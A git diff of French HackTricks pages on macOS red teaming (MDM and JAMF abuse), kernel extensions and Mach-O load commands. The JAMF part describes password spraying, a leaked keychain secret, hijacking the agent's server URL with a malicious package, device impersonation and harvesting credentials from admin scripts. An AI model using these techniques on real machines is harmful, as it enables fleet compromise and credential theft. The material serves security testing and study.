Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines.
|
Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines.
|
||||||
|
|
||||||
Pour le red teaming dans les environnements macOS, il est fortement recommandé de comprendre le fonctionnement des MDM :
|
Pour le red teaming dans les environnements macOS, il est fortement recommandé d'avoir une certaine compréhension du fonctionnement des MDM :
|
||||||
|
|
||||||
{% content-ref url="macos-mdm/" %}
|
{% content-ref url="macos-mdm/" %}
|
||||||
[macos-mdm](macos-mdm/)
|
[macos-mdm](macos-mdm/)
|
||||||
|
@ -29,23 +29,23 @@ Pour le red teaming dans les environnements macOS, il est fortement recommandé
|
||||||
|
|
||||||
### Utilisation de MDM comme C2
|
### Utilisation de MDM comme C2
|
||||||
|
|
||||||
Un MDM aura l'autorisation d'installer, interroger ou supprimer des profils, installer des applications, créer des comptes administrateurs locaux, définir un mot de passe de firmware, changer la clé FileVault...
|
Un MDM aura l'autorisation d'installer, de consulter ou de supprimer des profils, d'installer des applications, de créer des comptes administrateurs locaux, de définir un mot de passe de firmware, de changer la clé FileVault...
|
||||||
|
|
||||||
Pour exécuter votre propre MDM, vous devez **faire signer votre CSR par un vendeur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm).
|
Pour exécuter votre propre MDM, vous avez besoin de **votre CSR signé par un vendeur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||||
|
|
||||||
Cependant, pour installer une application sur un appareil inscrit, vous devez toujours la faire signer par un compte développeur... cependant, lors de l'inscription au MDM, le **dispositif ajoute le certificat SSL du MDM en tant qu'AC de confiance**, vous pouvez donc maintenant signer n'importe quoi.
|
Cependant, pour installer une application sur un appareil inscrit, vous devez toujours la signer avec un compte développeur... cependant, lors de l'inscription au MDM, le **certificat SSL de l'appareil ajoute le MDM en tant qu'AC de confiance**, vous pouvez donc maintenant signer n'importe quoi.
|
||||||
|
|
||||||
Pour inscrire le dispositif dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé).
|
Pour inscrire l'appareil dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé).
|
||||||
|
|
||||||
**L'agent Mythic Orthrus** utilise cette technique.
|
**L'agent Mythic Orthrus** utilise cette technique.
|
||||||
|
|
||||||
### Abus de JAMF PRO
|
### Abus de JAMF PRO
|
||||||
|
|
||||||
JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'administrateur système), des **charges utiles natives** (création de compte local, définition du mot de passe EFI, surveillance de fichiers/processus...) et des **MDM** (configurations de dispositif, certificats de dispositif...).
|
JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'administrateur système), des **charges utiles natives** (création de compte local, définition du mot de passe EFI, surveillance de fichiers/processus...) et des **MDM** (configurations d'appareils, certificats d'appareils...).
|
||||||
|
|
||||||
#### Auto-inscription JAMF
|
#### Auto-inscription JAMF
|
||||||
|
|
||||||
Allez sur une page comme `https://<nom-de-l'entreprise>.jamfcloud.com/enroll/` pour voir si ils ont activé l'**auto-inscription**. S'ils l'ont, il pourrait **demander des identifiants pour accéder**.
|
Allez sur une page comme `https://<nom-de-l'entreprise>.jamfcloud.com/enroll/` pour voir si **l'auto-inscription est activée**. S'ils l'ont, cela pourrait **demander des identifiants pour accéder**.
|
||||||
|
|
||||||
Vous pourriez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque de pulvérisation de mots de passe.
|
Vous pourriez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque de pulvérisation de mots de passe.
|
||||||
|
|
||||||
|
@ -53,14 +53,14 @@ De plus, après avoir trouvé les bons identifiants, vous pourriez être en mesu
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||||
|
|
||||||
#### Authentification de dispositif JAMF
|
#### Authentification de l'appareil JAMF
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** par tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
|
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** par tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
|
||||||
De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||||
|
|
||||||
#### Prise de contrôle de dispositif JAMF
|
#### Prise de contrôle de l'appareil JAMF
|
||||||
|
|
||||||
L'URL du **JSS** (Serveur de logiciels Jamf) que **`jamf`** utilisera est située dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
L'URL du **JSS** (Serveur de logiciels Jamf) que **`jamf`** utilisera est située dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||||
Ce fichier contient essentiellement l'URL :
|
Ce fichier contient essentiellement l'URL :
|
||||||
|
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Ainsi, un attaquant pourrait déposer un package malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 à partir d'un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2.
|
Ainsi, un attaquant pourrait déposer un package malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 depuis un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -98,15 +98,15 @@ Pour **impersonner la communication** entre un appareil et JMF, vous avez besoin
|
||||||
* L'**UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
* L'**UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||||
* Le **trousseau JAMF** depuis : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
|
* Le **trousseau JAMF** depuis : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
|
||||||
|
|
||||||
Avec ces informations, **créez une machine virtuelle** avec l'**UUID matériel volé** et avec **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'**agent Jamf** et volez ses informations.
|
Avec ces informations, **créez une machine virtuelle** avec l **UUID matériel volé** et avec **SIP désactivé**, déposez le **trousseau JAMF**, **accrochez** l'**agent Jamf** et volez ses informations.
|
||||||
|
|
||||||
#### Vol de secrets
|
#### Vol de secrets
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||||
|
|
||||||
Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf car ils sont **placés ici, exécutés et supprimés**. Ces scripts **peuvent contenir des identifiants**.
|
Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf car ils sont **placés ici, exécutés et supprimés**. Ces scripts **peuvent contenir des informations d'identification**.
|
||||||
|
|
||||||
Cependant, les **identifiants** pourraient être transmis à ces scripts en tant que **paramètres**, donc vous devriez surveiller `ps aux | grep -i jamf` (même sans être root).
|
Cependant, les **informations d'identification** pourraient être transmises à ces scripts en tant que **paramètres**, donc vous devriez surveiller `ps aux | grep -i jamf` (même sans être root).
|
||||||
|
|
||||||
Le script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus.
|
Le script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus.
|
||||||
|
|
||||||
|
@ -118,7 +118,7 @@ Et aussi sur les **protocoles** **réseau** **"spéciaux"** de **MacOS** :
|
||||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Active Directory
|
## Annuaire actif
|
||||||
|
|
||||||
Dans certains cas, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer d'**énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** sur les pages suivantes :
|
Dans certains cas, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer d'**énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** sur les pages suivantes :
|
||||||
|
|
||||||
|
@ -142,7 +142,9 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||||
|
|
||||||
* [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS.
|
* [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS.
|
||||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible.
|
* [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible.
|
||||||
* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript for Automation (JXA) pour l'énumération Active Directory.
|
* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript for Automation (JXA) pour l'énumération de l'Active Directory.
|
||||||
|
|
||||||
|
### Informations sur le domaine
|
||||||
```bash
|
```bash
|
||||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||||
```
|
```
|
||||||
|
@ -222,7 +224,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel de PEASS et HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel de PEASS et HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||||
|
@ -14,20 +14,20 @@
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Les extensions du noyau (Kexts) sont des **packages** avec une extension **`.kext`** qui sont **chargés directement dans l'espace noyau de macOS**, fournissant des fonctionnalités supplémentaires au système d'exploitation principal.
|
Les extensions du noyau (Kexts) sont des **paquets** avec une extension **`.kext`** qui sont **chargés directement dans l'espace noyau de macOS**, fournissant des fonctionnalités supplémentaires au système d'exploitation principal.
|
||||||
|
|
||||||
### Exigences
|
### Exigences
|
||||||
|
|
||||||
De toute évidence, il est **compliqué de charger une extension du noyau**. Voici les **exigences** qu'une extension du noyau doit remplir pour être chargée :
|
De toute évidence, c'est tellement puissant qu'il est **compliqué de charger une extension du noyau**. Voici les **exigences** qu'une extension du noyau doit remplir pour être chargée :
|
||||||
|
|
||||||
* Lorsque vous **entrez en mode de récupération**, les **extensions du noyau doivent être autorisées** à être chargées :
|
* Lorsque vous **entrez en mode de récupération**, les **extensions du noyau doivent être autorisées** à être chargées :
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* L'extension du noyau doit être **signée avec un certificat de signature de code du noyau**, qui ne peut être **accordé que par Apple**. Qui examinera en détail l'entreprise et les raisons pour lesquelles elle est nécessaire.
|
* L'extension du noyau doit être **signée avec un certificat de signature de code du noyau**, qui ne peut être **accordé que par Apple**. Qui examinera en détail l'entreprise et les raisons pour lesquelles elle est nécessaire.
|
||||||
* L'extension du noyau doit également être **notarisée**, Apple pourra la vérifier pour les logiciels malveillants.
|
* L'extension du noyau doit également être **notariée**, Apple pourra la vérifier pour les logiciels malveillants.
|
||||||
* Ensuite, l'utilisateur **root** est celui qui peut **charger l'extension du noyau** et les fichiers à l'intérieur du package doivent **appartenir à root**.
|
* Ensuite, l'utilisateur **root** est celui qui peut **charger l'extension du noyau** et les fichiers à l'intérieur du paquet doivent **appartenir à root**.
|
||||||
* Pendant le processus de chargement, le package doit être préparé dans un **emplacement protégé non root** : `/Library/StagedExtensions` (nécessite l'autorisation `com.apple.rootless.storage.KernelExtensionManagement`).
|
* Pendant le processus de chargement, le paquet doit être préparé dans un **emplacement protégé non root** : `/Library/StagedExtensions` (nécessite l'autorisation `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||||
* Enfin, lors de la tentative de chargement, l'utilisateur recevra une [**demande de confirmation**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) et, si elle est acceptée, l'ordinateur doit être **redémarré** pour la charger.
|
* Enfin, lors de la tentative de chargement, l'utilisateur recevra une [**demande de confirmation**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) et, si elle est acceptée, l'ordinateur doit être **redémarré** pour la charger.
|
||||||
|
|
||||||
### Processus de chargement
|
### Processus de chargement
|
||||||
|
@ -35,10 +35,10 @@ De toute évidence, il est **compliqué de charger une extension du noyau**. Voi
|
||||||
Dans Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se produit dans l'**espace utilisateur**. Cependant, seules les applications avec l'autorisation **`com.apple.private.security.kext-management`** peuvent **demander au noyau de charger une extension** : `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
Dans Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se produit dans l'**espace utilisateur**. Cependant, seules les applications avec l'autorisation **`com.apple.private.security.kext-management`** peuvent **demander au noyau de charger une extension** : `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||||
|
|
||||||
1. **`kextutil`** en ligne de commande **démarre** le processus de **vérification** pour charger une extension
|
1. **`kextutil`** en ligne de commande **démarre** le processus de **vérification** pour charger une extension
|
||||||
* Il communiquera avec **`kextd`** en envoyant en utilisant un **service Mach**.
|
* Il parlera à **`kextd`** en envoyant en utilisant un **service Mach**.
|
||||||
2. **`kextd`** vérifiera plusieurs éléments, tels que la **signature**
|
2. **`kextd`** vérifiera plusieurs choses, comme la **signature**
|
||||||
* Il communiquera avec **`syspolicyd`** pour **vérifier** si l'extension peut être **chargée**.
|
* Il parlera à **`syspolicyd`** pour **vérifier** si l'extension peut être **chargée**.
|
||||||
3. **`syspolicyd`** **demandera** à l'**utilisateur** s'il n'a pas été chargé précédemment.
|
3. **`syspolicyd`** **demandera** à l'**utilisateur** si l'extension n'a pas été chargée précédemment.
|
||||||
* **`syspolicyd`** rapportera le résultat à **`kextd`**
|
* **`syspolicyd`** rapportera le résultat à **`kextd`**
|
||||||
4. **`kextd`** pourra enfin **dire au noyau de charger** l'extension
|
4. **`kextd`** pourra enfin **dire au noyau de charger** l'extension
|
||||||
|
|
||||||
|
@ -53,7 +53,7 @@ Si **`kextd`** n'est pas disponible, **`kextutil`** peut effectuer les mêmes v
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel de PEASS et HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel de PEASS et HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks:
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -143,7 +143,7 @@ Il existe environ **50 types différents de commandes de chargement** que le sys
|
||||||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Essentiellement, ce type de commande de chargement définit **comment charger les segments \_\_TEXT** (code exécutable) **et \_\_DATA** (données du processus) **selon les décalages indiqués dans la section Data** lorsque le binaire est exécuté.
|
Essentiellement, ce type de commande de chargement définit **comment charger les segments \_\_TEXT** (code exécutable) **et \_\_DATA** (données pour le processus) **selon les décalages indiqués dans la section Data** lorsque le binaire est exécuté.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ces commandes **définissent des segments** qui sont **cartographiés** dans l'**espace mémoire virtuel** d'un processus lors de son exécution.
|
Ces commandes **définissent des segments** qui sont **cartographiés** dans l'**espace mémoire virtuel** d'un processus lors de son exécution.
|
||||||
|
@ -173,7 +173,7 @@ Exemple d'en-tête de segment :
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Cet en-tête définit le **nombre de sections dont les en-têtes apparaissent après** :
|
Cet en-tête définit le **nombre de sections dont les en-têtes apparaissent après** lui :
|
||||||
```c
|
```c
|
||||||
struct section_64 { /* for 64-bit architectures */
|
struct section_64 { /* for 64-bit architectures */
|
||||||
char sectname[16]; /* name of this section */
|
char sectname[16]; /* name of this section */
|
||||||
|
@ -190,32 +190,32 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
|
||||||
uint32_t reserved3; /* reserved */
|
uint32_t reserved3; /* reserved */
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Exemple de **titre de section** :
|
Exemple de **en-tête de section** :
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où **l'architecture commence**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où **l'architecture commence**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Il est également possible d'obtenir des **informations d'en-tête** à partir de la **ligne de commande** avec :
|
Il est également possible d'obtenir des **informations d'en-tête** à partir de la **ligne de commande** avec :
|
||||||
```bash
|
```bash
|
||||||
otool -lv /bin/ls
|
otool -lv /bin/ls
|
||||||
```
|
```
|
||||||
Les segments communs chargés par cette commande :
|
Les segments courants chargés par cette commande :
|
||||||
|
|
||||||
* **`__PAGEZERO` :** Il indique au noyau de **mapper** l'**adresse zéro** afin qu'elle ne puisse pas être lue, écrite ou exécutée. Les variables maxprot et minprot dans la structure sont définies à zéro pour indiquer qu'il n'y a **aucun droit de lecture-écriture-exécution sur cette page**.
|
* **`__PAGEZERO` :** Il indique au noyau de **mapper** l'**adresse zéro** afin qu'elle ne puisse pas être lue, écrite ou exécutée. Les variables maxprot et minprot dans la structure sont définies à zéro pour indiquer qu'il n'y a **aucun droit de lecture-écriture-exécution sur cette page**.
|
||||||
* Cette allocation est importante pour **atténuer les vulnérabilités de déréférencement de pointeur NULL**.
|
* Cette allocation est importante pour **atténuer les vulnérabilités de référence de pointeur NULL**.
|
||||||
* **`__TEXT` :** Contient du **code exécutable** avec des autorisations de **lecture** et d'**exécution** (pas d'écriture). Sections courantes de ce segment :
|
* **`__TEXT` :** Contient du **code exécutable** avec des autorisations de **lecture** et d'**exécution** (pas d'écriture). Sections courantes de ce segment :
|
||||||
* `__text` : Code binaire compilé
|
* `__text` : Code binaire compilé
|
||||||
* `__const` : Données constantes
|
* `__const` : Données constantes
|
||||||
* `__cstring` : Constantes de chaîne
|
* `__cstring` : Constantes de chaîne
|
||||||
* `__stubs` et `__stubs_helper` : Impliqués lors du processus de chargement de bibliothèque dynamique
|
* `__stubs` et `__stubs_helper` : Impliqués lors du processus de chargement de bibliothèque dynamique
|
||||||
* **`__DATA` :** Contient des données **lisibles** et **inscriptibles** (non exécutables).
|
* **`__DATA` :** Contient des données **lisibles** et **modifiables** (non exécutables).
|
||||||
